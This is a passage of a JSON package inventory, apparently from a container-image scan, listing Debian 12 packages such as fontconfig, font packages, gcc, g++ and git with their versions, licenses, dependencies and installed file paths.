"/usr/share/doc/fontconfig/changelog.gz", "/usr/share/doc/fontconfig/copyright", "/usr/share/doc/fontconfig/fontconfig-user.html", "/usr/share/doc/fontconfig/fontconfig-user.pdf.gz", "/usr/share/doc/fontconfig/fontconfig-user.txt.gz", "/usr/share/man/man1/fc-cache.1.gz", "/usr/share/man/man1/fc-cat.1.gz", "/usr/share/man/man1/fc-conflist.1.gz", "/usr/share/man/man1/fc-list.1.gz", "/usr/share/man/man1/fc-match.1.gz", "/usr/share/man/man1/fc-pattern.1.gz", "/usr/share/man/man1/fc-query.1.gz", "/usr/share/man/man1/fc-scan.1.gz", "/usr/share/man/man1/fc-validate.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "fontconfig-config@2.14.1-4", "Name": "fontconfig-config", "Identifier": { "PURL": "pkg:deb/debian/fontconfig-config@2.14.1-4?arch=amd64\u0026distro=debian-12.13", "UID": "3abd9c22785db54c" }, "Version": "2.14.1", "Release": "4", "Arch": "amd64", "SrcName": "fontconfig", "SrcVersion": "2.14.1", "SrcRelease": "4", "Maintainer": "Debian freedesktop.org maintainers \u003cpkg-freedesktop-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.82", "fonts-freefont-ttf@20120503-10", "fonts-liberation@1:1.07.4-11" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fontconfig-config/NEWS.Debian.gz", "/usr/share/doc/fontconfig-config/changelog.Debian.gz", "/usr/share/doc/fontconfig-config/changelog.gz", "/usr/share/doc/fontconfig-config/copyright", "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", "/usr/share/fontconfig/conf.avail/09-autohint-if-no-hinting.conf", "/usr/share/fontconfig/conf.avail/10-autohint.conf", "/usr/share/fontconfig/conf.avail/10-hinting-full.conf", "/usr/share/fontconfig/conf.avail/10-hinting-medium.conf", "/usr/share/fontconfig/conf.avail/10-hinting-none.conf", "/usr/share/fontconfig/conf.avail/10-hinting-slight.conf", "/usr/share/fontconfig/conf.avail/10-no-antialias.conf", "/usr/share/fontconfig/conf.avail/10-no-sub-pixel.conf", "/usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf", "/usr/share/fontconfig/conf.avail/10-sub-pixel-bgr.conf", "/usr/share/fontconfig/conf.avail/10-sub-pixel-rgb.conf", "/usr/share/fontconfig/conf.avail/10-sub-pixel-vbgr.conf", "/usr/share/fontconfig/conf.avail/10-sub-pixel-vrgb.conf", "/usr/share/fontconfig/conf.avail/10-unhinted.conf", "/usr/share/fontconfig/conf.avail/10-yes-antialias.conf", "/usr/share/fontconfig/conf.avail/11-lcdfilter-default.conf", "/usr/share/fontconfig/conf.avail/11-lcdfilter-legacy.conf", "/usr/share/fontconfig/conf.avail/11-lcdfilter-light.conf", "/usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf", "/usr/share/fontconfig/conf.avail/25-unhint-nonlatin.conf", "/usr/share/fontconfig/conf.avail/30-metric-aliases.conf", "/usr/share/fontconfig/conf.avail/35-lang-normalize.conf", "/usr/share/fontconfig/conf.avail/40-nonlatin.conf", "/usr/share/fontconfig/conf.avail/45-generic.conf", "/usr/share/fontconfig/conf.avail/45-latin.conf", "/usr/share/fontconfig/conf.avail/48-spacing.conf", "/usr/share/fontconfig/conf.avail/49-sansserif.conf", "/usr/share/fontconfig/conf.avail/50-user.conf", "/usr/share/fontconfig/conf.avail/51-local.conf", "/usr/share/fontconfig/conf.avail/60-generic.conf", "/usr/share/fontconfig/conf.avail/60-latin.conf", "/usr/share/fontconfig/conf.avail/65-fonts-persian.conf", "/usr/share/fontconfig/conf.avail/65-khmer.conf", "/usr/share/fontconfig/conf.avail/65-nonlatin.conf", "/usr/share/fontconfig/conf.avail/69-unifont.conf", "/usr/share/fontconfig/conf.avail/70-force-bitmaps.conf", "/usr/share/fontconfig/conf.avail/70-no-bitmaps.conf", "/usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf", "/usr/share/fontconfig/conf.avail/80-delicious.conf", "/usr/share/fontconfig/conf.avail/90-synthetic.conf", "/usr/share/man/man5/fonts-conf.5.gz", "/usr/share/xml/fontconfig/fonts.dtd" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-freefont-ttf@20120503-10", "Name": "fonts-freefont-ttf", "Identifier": { "PURL": "pkg:deb/debian/fonts-freefont-ttf@20120503-10?arch=all\u0026distro=debian-12.13", "UID": "7f0cc2b7f3f6af93" }, "Version": "20120503", "Release": "10", "Arch": "all", "SrcName": "fonts-freefont", "SrcVersion": "20120503", "SrcRelease": "10", "Licenses": [ "GPL-3.0-or-later", "GPL-3+ with Special Font Exception", "GPL-3.0-only" ], "Maintainer": "Debian Fonts Task Force \u003cpkg-fonts-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fonts-freefont-ttf/AUTHORS.gz", "/usr/share/doc/fonts-freefont-ttf/README.gz", "/usr/share/doc/fonts-freefont-ttf/changelog.Debian.gz", "/usr/share/doc/fonts-freefont-ttf/changelog.gz", "/usr/share/doc/fonts-freefont-ttf/copyright", "/usr/share/fonts/truetype/freefont/FreeMono.ttf", "/usr/share/fonts/truetype/freefont/FreeMonoBold.ttf", "/usr/share/fonts/truetype/freefont/FreeMonoBoldOblique.ttf", "/usr/share/fonts/truetype/freefont/FreeMonoOblique.ttf", "/usr/share/fonts/truetype/freefont/FreeSans.ttf", "/usr/share/fonts/truetype/freefont/FreeSansBold.ttf", "/usr/share/fonts/truetype/freefont/FreeSansBoldOblique.ttf", "/usr/share/fonts/truetype/freefont/FreeSansOblique.ttf", "/usr/share/fonts/truetype/freefont/FreeSerif.ttf", "/usr/share/fonts/truetype/freefont/FreeSerifBold.ttf", "/usr/share/fonts/truetype/freefont/FreeSerifBoldItalic.ttf", "/usr/share/fonts/truetype/freefont/FreeSerifItalic.ttf" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-ipafont-gothic@00303-23", "Name": "fonts-ipafont-gothic", "Identifier": { "PURL": "pkg:deb/debian/fonts-ipafont-gothic@00303-23?arch=all\u0026distro=debian-12.13", "UID": "97cf10f102231c07" }, "Version": "00303", "Release": "23", "Arch": "all", "SrcName": "fonts-ipafont", "SrcVersion": "00303", "SrcRelease": "23", "Licenses": [ "IPA-1", "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Debian Fonts Task Force \u003cdebian-fonts@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fonts-ipafont-gothic/Readme_IPAfont00303.txt", "/usr/share/doc/fonts-ipafont-gothic/changelog.Debian.gz", "/usr/share/doc/fonts-ipafont-gothic/copyright", "/usr/share/fonts/opentype/ipafont-gothic/ipag.ttf", "/usr/share/fonts/opentype/ipafont-gothic/ipagp.ttf" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-liberation@1:1.07.4-11", "Name": "fonts-liberation", "Identifier": { "PURL": "pkg:deb/debian/fonts-liberation@1.07.4-11?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "a68c1c50fd65bca9" }, "Version": "1.07.4", "Release": "11", "Epoch": 1, "Arch": "all", "SrcName": "fonts-liberation", "SrcVersion": "1.07.4", "SrcRelease": "11", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Debian Fonts Task Force \u003cpkg-fonts-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/bug/fonts-liberation/presubj", "/usr/share/bug/fonts-liberation/script", "/usr/share/doc/fonts-liberation/changelog.Debian.gz", "/usr/share/doc/fonts-liberation/changelog.gz", "/usr/share/doc/fonts-liberation/copyright", "/usr/share/fonts/truetype/liberation/LiberationMono-Bold.ttf", "/usr/share/fonts/truetype/liberation/LiberationMono-BoldItalic.ttf", "/usr/share/fonts/truetype/liberation/LiberationMono-Italic.ttf", "/usr/share/fonts/truetype/liberation/LiberationMono-Regular.ttf", "/usr/share/fonts/truetype/liberation/LiberationSans-Bold.ttf", "/usr/share/fonts/truetype/liberation/LiberationSans-BoldItalic.ttf", "/usr/share/fonts/truetype/liberation/LiberationSans-Italic.ttf", "/usr/share/fonts/truetype/liberation/LiberationSans-Regular.ttf", "/usr/share/fonts/truetype/liberation/LiberationSansNarrow-Bold.ttf", "/usr/share/fonts/truetype/liberation/LiberationSansNarrow-BoldItalic.ttf", "/usr/share/fonts/truetype/liberation/LiberationSansNarrow-Italic.ttf", "/usr/share/fonts/truetype/liberation/LiberationSansNarrow-Regular.ttf", "/usr/share/fonts/truetype/liberation/LiberationSerif-Bold.ttf", "/usr/share/fonts/truetype/liberation/LiberationSerif-BoldItalic.ttf", "/usr/share/fonts/truetype/liberation/LiberationSerif-Italic.ttf", "/usr/share/fonts/truetype/liberation/LiberationSerif-Regular.ttf" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-noto-color-emoji@2.042-0+deb12u1", "Name": "fonts-noto-color-emoji", "Identifier": { "PURL": "pkg:deb/debian/fonts-noto-color-emoji@2.042-0%2Bdeb12u1?arch=all\u0026distro=debian-12.13", "UID": "f9d9488019fab35a" }, "Version": "2.042", "Release": "0+deb12u1", "Arch": "all", "SrcName": "fonts-noto-color-emoji", "SrcVersion": "2.042", "SrcRelease": "0+deb12u1", "Licenses": [ "Apache-2.0", "SIL-1.1" ], "Maintainer": "Debian Fonts Task Force \u003cpkg-fonts-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fonts-noto-color-emoji/changelog.Debian.gz", "/usr/share/doc/fonts-noto-color-emoji/copyright", "/usr/share/fonts/truetype/noto/NotoColorEmoji.ttf" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-tlwg-loma-otf@1:0.7.3-1", "Name": "fonts-tlwg-loma-otf", "Identifier": { "PURL": "pkg:deb/debian/fonts-tlwg-loma-otf@0.7.3-1?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "c259b0709c623fd" }, "Version": "0.7.3", "Release": "1", "Epoch": 1, "Arch": "all", "SrcName": "fonts-tlwg", "SrcVersion": "0.7.3", "SrcRelease": "1", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-or-later", "GPL-2+ with Font exception", "other", "LPPL", "GPL-2.0-only" ], "Maintainer": "Theppitak Karoonboonyanan \u003cthep@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fonts-tlwg-loma-otf/changelog.Debian.gz", "/usr/share/doc/fonts-tlwg-loma-otf/changelog.gz", "/usr/share/doc/fonts-tlwg-loma-otf/copyright", "/usr/share/fonts/opentype/tlwg/Loma-Bold.otf", "/usr/share/fonts/opentype/tlwg/Loma-BoldOblique.otf", "/usr/share/fonts/opentype/tlwg/Loma-Oblique.otf", "/usr/share/fonts/opentype/tlwg/Loma.otf" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-unifont@1:15.0.01-2", "Name": "fonts-unifont", "Identifier": { "PURL": "pkg:deb/debian/fonts-unifont@15.0.01-2?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "36eb84702b7dd8cf" }, "Version": "15.0.01", "Release": "2", "Epoch": 1, "Arch": "all", "SrcName": "unifont", "SrcVersion": "15.0.01", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-or-later", "GFDL-NIV", "GPL-2.0-only", "GFDL-1.3-only" ], "Maintainer": "Debian Fonts Task Force \u003cdebian-fonts@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fonts-unifont/changelog.Debian.gz", "/usr/share/doc/fonts-unifont/copyright", "/usr/share/fonts/opentype/unifont/unifont.otf", "/usr/share/fonts/opentype/unifont/unifont_csur.otf", "/usr/share/fonts/opentype/unifont/unifont_jp.otf", "/usr/share/fonts/opentype/unifont/unifont_upper.otf", "/usr/share/fonts/truetype/unifont/unifont_sample.ttf" ], "AnalyzedBy": "dpkg" }, { "ID": "fonts-wqy-zenhei@0.9.45-8", "Name": "fonts-wqy-zenhei", "Identifier": { "PURL": "pkg:deb/debian/fonts-wqy-zenhei@0.9.45-8?arch=all\u0026distro=debian-12.13", "UID": "25da1eca3953745b" }, "Version": "0.9.45", "Release": "8", "Arch": "all", "SrcName": "fonts-wqy-zenhei", "SrcVersion": "0.9.45", "SrcRelease": "8", "Licenses": [ "GPL-2 with Font embedding exception", "M+ FONTS License", "GPL-2.0-only" ], "Maintainer": "Debian Fonts Task Force \u003cpkg-fonts-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "fontconfig@2.14.1-4" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/fonts-wqy-zenhei/README.Debian", "/usr/share/doc/fonts-wqy-zenhei/changelog.Debian.gz", "/usr/share/doc/fonts-wqy-zenhei/changelog.gz", "/usr/share/doc/fonts-wqy-zenhei/copyright", "/usr/share/fonts/truetype/wqy/wqy-zenhei.ttc" ], "AnalyzedBy": "dpkg" }, { "ID": "g++@4:12.2.0-3", "Name": "g++", "Identifier": { "PURL": "pkg:deb/debian/g%2B%2B@12.2.0-3?arch=amd64\u0026distro=debian-12.13\u0026epoch=4", "UID": "2181b14ffce0ea31" }, "Version": "12.2.0", "Release": "3", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.203", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp@4:12.2.0-3", "g++-12@12.2.0-14+deb12u1", "gcc-12@12.2.0-14+deb12u1", "gcc@4:12.2.0-3" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/lintian/overrides/g++" ], "AnalyzedBy": "dpkg" }, { "ID": "g++-12@12.2.0-14+deb12u1", "Name": "g++-12", "Identifier": { "PURL": "pkg:deb/debian/g%2B%2B-12@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "31d85d2796ad85af" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "gcc-12@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1", "libisl23@0.25-1.1", "libmpc3@1.3.1-1", "libmpfr6@4.2.0-1", "libstdc++-12-dev@12.2.0-14+deb12u1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-g++-12", "/usr/lib/gcc/x86_64-linux-gnu/12/cc1plus", "/usr/lib/gcc/x86_64-linux-gnu/12/g++-mapper-server", "/usr/share/doc/gcc-12-base/C++/README.C++", "/usr/share/doc/gcc-12-base/C++/changelog.gz", "/usr/share/lintian/overrides/g++-12" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc@4:12.2.0-3", "Name": "gcc", "Identifier": { "PURL": "pkg:deb/debian/gcc@12.2.0-3?arch=amd64\u0026distro=debian-12.13\u0026epoch=4", "UID": "794fed0f3d2eef90" }, "Version": "12.2.0", "Release": "3", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.203", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp@4:12.2.0-3", "gcc-12@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/c89-gcc", "/usr/bin/c99-gcc", "/usr/share/lintian/overrides/gcc", "/usr/share/man/man1/c89-gcc.1.gz", "/usr/share/man/man1/c99-gcc.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-12@12.2.0-14+deb12u1", "Name": "gcc-12", "Identifier": { "PURL": "pkg:deb/debian/gcc-12@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "641e2d8d0fc360f6" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils@2.40-2", "cpp-12@12.2.0-14+deb12u1", "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libcc1-0@12.2.0-14+deb12u1", "libgcc-12-dev@12.2.0-14+deb12u1", "libgcc-s1@12.2.0-14+deb12u1", "libgmp10@2:6.2.1+dfsg1-1.1", "libisl23@0.25-1.1", "libmpc3@1.3.1-1", "libmpfr6@4.2.0-1", "libstdc++6@12.2.0-14+deb12u1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-gcc-12", "/usr/bin/x86_64-linux-gnu-gcc-ar-12", "/usr/bin/x86_64-linux-gnu-gcc-nm-12", "/usr/bin/x86_64-linux-gnu-gcc-ranlib-12", "/usr/bin/x86_64-linux-gnu-gcov-12", "/usr/bin/x86_64-linux-gnu-gcov-dump-12", "/usr/bin/x86_64-linux-gnu-gcov-tool-12", "/usr/bin/x86_64-linux-gnu-lto-dump-12", "/usr/lib/gcc/x86_64-linux-gnu/12/collect2", "/usr/lib/gcc/x86_64-linux-gnu/12/libgomp.spec", "/usr/lib/gcc/x86_64-linux-gnu/12/libitm.spec", "/usr/lib/gcc/x86_64-linux-gnu/12/liblto_plugin.so", "/usr/lib/gcc/x86_64-linux-gnu/12/libsanitizer.spec", "/usr/lib/gcc/x86_64-linux-gnu/12/lto-wrapper", "/usr/lib/gcc/x86_64-linux-gnu/12/lto1", "/usr/lib/gcc/x86_64-linux-gnu/12/plugin/libcc1plugin.so.0.0.0", "/usr/lib/gcc/x86_64-linux-gnu/12/plugin/libcp1plugin.so.0.0.0", "/usr/share/doc/gcc-12-base/NEWS.gz", "/usr/share/doc/gcc-12-base/NEWS.html", "/usr/share/doc/gcc-12-base/README.Bugs", "/usr/share/doc/gcc-12-base/README.ssp", "/usr/share/doc/gcc-12-base/changelog.gz", "/usr/share/doc/gcc-12-base/gcc/changelog.gz", "/usr/share/doc/gcc-12-base/gomp/changelog.gz", "/usr/share/doc/gcc-12-base/itm/changelog.gz", "/usr/share/doc/gcc-12-base/quadmath/changelog.gz", "/usr/share/doc/gcc-12-base/sanitizer/changelog.gz", "/usr/share/lintian/overrides/gcc-12", "/usr/share/man/man1/x86_64-linux-gnu-gcc-ar-12.1.gz", "/usr/share/man/man1/x86_64-linux-gnu-gcc-nm-12.1.gz", "/usr/share/man/man1/x86_64-linux-gnu-gcc-ranlib-12.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-12-base@12.2.0-14+deb12u1", "Name": "gcc-12-base", "Identifier": { "PURL": "pkg:deb/debian/gcc-12-base@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "4cdf3a9f4926a4" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Licenses": [ "GPL-2.0-or-later", "GPL-3.0-only", "GFDL-1.2-only", "GPL-2.0-only", "Artistic-2.0", "LGPL-2.0-or-later" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/share/doc/gcc-12-base/README.Debian.amd64.gz", "/usr/share/doc/gcc-12-base/TODO.Debian", "/usr/share/doc/gcc-12-base/changelog.Debian.gz", "/usr/share/doc/gcc-12-base/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "git@1:2.39.5-0+deb12u3", "Name": "git", "Identifier": { "PURL": "pkg:deb/debian/git@2.39.5-0%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "64e5edc03b92b988" }, "Version": "2.39.5", "Release": "0+deb12u3", "Epoch": 1, "Arch": "amd64", "SrcName": "git", "SrcVersion": "2.39.5", "SrcRelease": "0+deb12u3", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "BSD-3-Clause", "Zlib", "LGPL-2.1-or-later", "GPL-2.0-or-later", "MIT", "GPL-1.0-or-later", "Artistic-1", "Artistic-2.0", "ISC", "mingw-runtime", "BSL-1.0", "dlmalloc", "Apache-2.0", "LGPL-2.0-or-later", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Jonathan Nieder \u003cjrnieder@gmail.com\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "git-man@1:2.39.5-0+deb12u3", "libc6@2.36-9+deb12u13", "libcurl3-gnutls@7.88.1-10+deb12u14", "liberror-perl@0.17029-2", "libexpat1@2.5.0-1+deb12u2", "libpcre2-8-0@10.42-1", "perl@5.36.0-7+deb12u3", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/git", "/usr/bin/git-shell", "/usr/bin/scalar", "/usr/lib/git-core/git", "/usr/lib/git-core/git-add--interactive", "/usr/lib/git-core/git-bisect", "/usr/lib/git-core/git-daemon", "/usr/lib/git-core/git-difftool--helper", "/usr/lib/git-core/git-filter-branch", "/usr/lib/git-core/git-http-backend", "/usr/lib/git-core/git-http-fetch", "/usr/lib/git-core/git-http-push", "/usr/lib/git-core/git-imap-send", "/usr/lib/git-core/git-instaweb", "/usr/lib/git-core/git-merge-octopus", "/usr/lib/git-core/git-merge-one-file", "/usr/lib/git-core/git-merge-resolve", "/usr/lib/git-core/git-mergetool", "/usr/lib/git-core/git-mergetool--lib", "/usr/lib/git-core/git-quiltimport", "/usr/lib/git-core/git-remote-http", "/usr/lib/git-core/git-request-pull", "/usr/lib/git-core/git-sh-i18n", "/usr/lib/git-core/git-sh-i18n--envsubst", "/usr/lib/git-core/git-sh-prompt", "/usr/lib/git-core/git-sh-setup", "/usr/lib/git-core/git-shell", "/usr/lib/git-core/git-submodule", "/usr/lib/git-core/git-subtree", "/usr/lib/git-core/git-web--browse", "/usr/lib/git-core/mergetools/araxis", "/usr/lib/git-core/mergetools/bc", "/usr/lib/git-core/mergetools/codecompare", "/usr/lib/git-core/mergetools/deltawalker", "/usr/lib/git-core/mergetools/diffmerge", "/usr/lib/git-core/mergetools/diffuse", "/usr/lib/git-core/mergetools/ecmerge", "/usr/lib/git-core/mergetools/emerge", "/usr/lib/git-core/mergetools/examdiff", "/usr/lib/git-core/mergetools/guiffy", "/usr/lib/git-core/mergetools/gvimdiff", "/usr/lib/git-core/mergetools/kdiff3", "/usr/lib/git-core/mergetools/kompare", "/usr/lib/git-core/mergetools/meld", "/usr/lib/git-core/mergetools/nvimdiff", "/usr/lib/git-core/mergetools/opendiff", "/usr/lib/git-core/mergetools/p4merge", "/usr/lib/git-core/mergetools/smerge", "/usr/lib/git-core/mergetools/tkdiff", "/usr/lib/git-core/mergetools/tortoisemerge", "/usr/lib/git-core/mergetools/vimdiff", "/usr/lib/git-core/mergetools/winmerge", "/usr/lib/git-core/mergetools/xxdiff", "/usr/lib/git-core/scalar", "/usr/share/bash-completion/completions/git", "/usr/share/doc/git/NEWS.Debian.gz", "/usr/share/doc/git/README.Debian", "/usr/share/doc/git/README.emacs", "/usr/share/doc/git/README.md", "/usr/share/doc/git/README.source", "/usr/share/doc/git/RelNotes/1.5.0.1.txt", "/usr/share/doc/git/RelNotes/1.5.0.2.txt", "/usr/share/doc/git/RelNotes/1.5.0.3.txt", "/usr/share/doc/git/RelNotes/1.5.0.4.txt", "/usr/share/doc/git/RelNotes/1.5.0.5.txt", "/usr/share/doc/git/RelNotes/1.5.0.6.txt", "/usr/share/doc/git/RelNotes/1.5.0.7.txt", "/usr/share/doc/git/RelNotes/1.5.0.txt", "/usr/share/doc/git/RelNotes/1.5.1.1.txt", "/usr/share/doc/git/RelNotes/1.5.1.2.txt", "/usr/share/doc/git/RelNotes/1.5.1.3.txt", "/usr/share/doc/git/RelNotes/1.5.1.4.txt", "/usr/share/doc/git/RelNotes/1.5.1.5.txt", "/usr/share/doc/git/RelNotes/1.5.1.6.txt", "/usr/share/doc/git/RelNotes/1.5.1.txt", "/usr/share/doc/git/RelNotes/1.5.2.1.txt", "/usr/share/doc/git/RelNotes/1.5.2.2.txt", "/usr/share/doc/git/RelNotes/1.5.2.3.txt", "/usr/share/doc/git/RelNotes/1.5.2.4.txt", "/usr/share/doc/git/RelNotes/1.5.2.5.txt", "/usr/share/doc/git/RelNotes/1.5.2.txt", "/usr/share/doc/git/RelNotes/1.5.3.1.txt", "/usr/share/doc/git/RelNotes/1.5.3.2.txt", "/usr/share/doc/git/RelNotes/1.5.3.3.txt", "/usr/share/doc/git/RelNotes/1.5.3.4.txt", "/usr/share/doc/git/RelNotes/1.5.3.5.txt", "/usr/share/doc/git/RelNotes/1.5.3.6.txt", "/usr/share/doc/git/RelNotes/1.5.3.7.txt", "/usr/share/doc/git/RelNotes/1.5.3.8.txt", "/usr/share/doc/git/RelNotes/1.5.3.txt", "/usr/share/doc/git/RelNotes/1.5.4.1.txt", "/usr/share/doc/git/RelNotes/1.5.4.2.txt", "/usr/share/doc/git/RelNotes/1.5.4.3.txt", "/usr/share/doc/git/RelNotes/1.5.4.4.txt", "/usr/share/doc/git/RelNotes/1.5.4.5.txt", "/usr/share/doc/git/RelNotes/1.5.4.6.txt", "/usr/share/doc/git/RelNotes/1.5.4.7.txt", "/usr/share/doc/git/RelNotes/1.5.4.txt", "/usr/share/doc/git/RelNotes/1.5.5.1.txt", "/usr/share/doc/git/RelNotes/1.5.5.2.txt", "/usr/share/doc/git/RelNotes/1.5.5.3.txt", "/usr/share/doc/git/RelNotes/1.5.5.4.txt", "/usr/share/doc/git/RelNotes/1.5.5.5.txt", "/usr/share/doc/git/RelNotes/1.5.5.6.txt", "/usr/share/doc/git/RelNotes/1.5.5.txt", "/usr/share/doc/git/RelNotes/1.5.6.1.txt", "/usr/share/doc/git/RelNotes/1.5.6.2.txt", "/usr/share/doc/git/RelNotes/1.5.6.3.txt", "/usr/share/doc/git/RelNotes/1.5.6.4.txt", "/usr/share/doc/git/RelNotes/1.5.6.5.txt", "/usr/share/doc/git/RelNotes/1.5.6.6.txt", "/usr/share/doc/git/RelNotes/1.5.6.txt", "/usr/share/doc/git/RelNotes/1.6.0.1.txt", "/usr/share/doc/git/RelNotes/1.6.0.2.txt", "/usr/share/doc/git/RelNotes/1.6.0.3.txt", "/usr/share/doc/git/RelNotes/1.6.0.4.txt", "/usr/share/doc/git/RelNotes/1.6.0.5.txt", "/usr/share/doc/git/RelNotes/1.6.0.6.txt", "/usr/share/doc/git/RelNotes/1.6.0.txt", "/usr/share/doc/git/RelNotes/1.6.1.1.txt", "/usr/share/doc/git/RelNotes/1.6.1.2.txt", "/usr/share/doc/git/RelNotes/1.6.1.3.txt", "/usr/share/doc/git/RelNotes/1.6.1.4.txt", "/usr/share/doc/git/RelNotes/1.6.1.txt", "/usr/share/doc/git/RelNotes/1.6.2.1.txt", "/usr/share/doc/git/RelNotes/1.6.2.2.txt", "/usr/share/doc/git/RelNotes/1.6.2.3.txt", "/usr/share/doc/git/RelNotes/1.6.2.4.txt", "/usr/share/doc/git/RelNotes/1.6.2.5.txt", "/usr/share/doc/git/RelNotes/1.6.2.txt", "/usr/share/doc/git/RelNotes/1.6.3.1.txt", "/usr/share/doc/git/RelNotes/1.6.3.2.txt", "/usr/share/doc/git/RelNotes/1.6.3.3.txt", "/usr/share/doc/git/RelNotes/1.6.3.4.txt", "/usr/share/doc/git/RelNotes/1.6.3.txt", "/usr/share/doc/git/RelNotes/1.6.4.1.txt", "/usr/share/doc/git/RelNotes/1.6.4.2.txt", "/usr/share/doc/git/RelNotes/1.6.4.3.txt", 